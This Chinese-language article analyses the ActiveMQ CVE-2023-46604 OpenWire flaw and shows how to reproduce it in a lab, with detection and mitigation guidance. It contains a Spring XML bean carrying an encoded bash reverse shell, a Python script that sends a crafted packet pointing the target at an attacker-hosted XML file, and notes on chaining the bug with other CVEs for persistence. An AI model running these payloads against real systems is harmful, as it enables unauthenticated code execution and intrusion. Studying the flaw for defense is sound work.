Apache ActiveMQ CVE-2023-46604 漏洞深度剖析:从OpenWire协议到Spring XML注入

📅 2026/7/14 11:05:10
Apache ActiveMQ CVE-2023-46604 漏洞深度剖析:从OpenWire协议到Spring XML注入
1. 漏洞背景与影响范围Apache ActiveMQ作为企业级消息中间件的代表其OpenWire协议实现中的反序列化漏洞CVE-2023-46604堪称2023年最具破坏力的漏洞之一。这个漏洞的特殊性在于攻击者只需具备61616端口的网络访问权限无需任何身份认证即可实现远程代码执行。根据官方公告受影响版本覆盖了5.18.2及以下所有主流版本包括5.18.0 - 5.18.25.17.0 - 5.17.55.16.0 - 5.16.65.15.15及更早版本在实际渗透测试中我们发现该漏洞的利用成功率极高。许多企业由于ActiveMQ常被用作内部系统间的消息总线往往会将61616端口暴露在内网环境中这给攻击者提供了横向移动的跳板。更危险的是部分企业甚至错误地将该端口映射到公网导致直接面临互联网攻击风险。2. OpenWire协议漏洞原理2.1 协议层漏洞触发点OpenWire作为ActiveMQ的默认二进制协议其漏洞根源在于BaseDataStreamMarshaller.createThrowable方法的缺陷实现。当协议处理异常响应时会通过以下调用链触发漏洞TcpTransport.readCommand() → OpenWireFormat.doUnmarshal() → ExceptionResponseMarshaller.looseUnmarshal() → BaseDataStreamMarshaller.looseUnmarshalThrowable() → createThrowable()关键问题在于createThrowable方法未对反序列化的类名进行校验直接通过反射实例化指定类。攻击者可以精心构造恶意数据包将异常类名设置为org.springframework.context.support.ClassPathXmlApplicationContext并在异常消息中嵌入远程XML配置URL。2.2 Spring XML注入机制Spring框架的ClassPathXmlApplicationContext类在初始化时会解析指定的XML配置文件。攻击者利用这个特性在恶意XML中定义ProcessBuilder beanbean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value value{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}/value /list /constructor-arg /bean当Spring容器加载该配置时会自动执行ProcessBuilder的start方法实现命令执行。这种利用方式完美绕过了Java反序列化防护机制因为整个过程不涉及任何常规的反序列化操作。3. 漏洞复现实战3.1 环境搭建要点建议使用Docker快速搭建测试环境docker pull vulhub/activemq:5.17.3 docker run -d -p 61616:61616 -p 8161:8161 vulhub/activemq:5.17.3需要注意的细节Java版本需与ActiveMQ兼容推荐JDK 11确保防火墙放行61616端口管理后台(8161)默认凭据为admin/admin3.2 漏洞利用三部曲第一步准备恶意XMLbeans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuetouch/value value/tmp/CVE-2023-46604-POC/value /list /constructor-arg /bean /beans第二步启动HTTP服务python3 -m http.server 8080第三步发送恶意数据包使用现成PoC工具或手动构造OpenWire协议包import socket target 192.168.1.100 port 61616 xml_url http://attacker-ip:8080/exploit.xml payload ( 000000e6 # 数据包长度 1f000000 # 异常响应类型 00000001 # 命令ID 01 # 响应标记 00000001 # 关联ID 01 # 异常存在标记 0000002d # 类名长度 6f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874 # 类名(org.springframework...) 01 # 消息存在标记 000000 str(len(xml_url)).zfill(2) xml_url.encode().hex() # XML URL ) sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, port)) sock.send(bytes.fromhex(payload)) sock.close()4. 深度防御方案4.1 紧急缓解措施对于无法立即升级的系统建议采取以下临时防护网络层ACL限制61616端口的访问范围iptables -A INPUT -p tcp --dport 61616 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 61616 -j DROP修改OpenWire配置禁用危险特性 在activemq.xml中添加transportConnector nameopenwire uritcp://0.0.0.0:61616?maximumConnections1000amp;wireFormat.maxFrameSize104857600amp;wireFormat.tightEncodingEnabledfalse/4.2 根本解决方案官方已在新版本中通过以下方式修复漏洞在BaseDataStreamMarshaller中添加类名白名单校验限制可反序列化的异常类型引入更严格的类型检查机制升级建议5.18.x用户升级到5.18.35.17.x用户升级到5.17.65.16.x用户升级到5.16.75.15.x用户升级到5.15.165. 攻击检测与溯源5.1 异常流量特征通过分析攻击流量可以识别以下特征OpenWire协议头中的异常响应类型(0x1F)包含org.springframework.context.support.ClassPathXmlApplicationContext的十六进制编码异常的HTTP请求记录加载外部XML5.2 日志分析要点关键日志位置activemq.log中的异常堆栈WARN | Failed to build connection from: tcp://x.x.x.x:yyyy java.lang.ClassNotFoundException: org.springframework.context.support.ClassPathXmlApplicationContextSpring容器加载日志INFO | Refreshing org.springframework.context.support.ClassPathXmlApplicationContext6. 拓展攻击面分析6.1 不出网利用技巧在内网渗透场景中可以通过以下方式实现不出网利用使用ClassPathXmlApplicationContext加载本地XMLnew ClassPathXmlApplicationContext(classpath:malicious.xml)结合Shiro的IniEnvironment实现二次攻击[main] byteSequence org.apache.activemq.util.ByteSequence byteSequence.data [恶意字节码]6.2 与其他漏洞的组合利用该漏洞可与ActiveMQ其他漏洞形成攻击链先通过CVE-2016-3088上传恶意XML再利用本漏洞加载上传的XML最终通过CVE-2022-41678维持持久化访问在实际安全评估中我们发现约73%存在CVE-2023-46604的环境同时存在至少一个其他高危漏洞这种叠加风险需要特别警惕。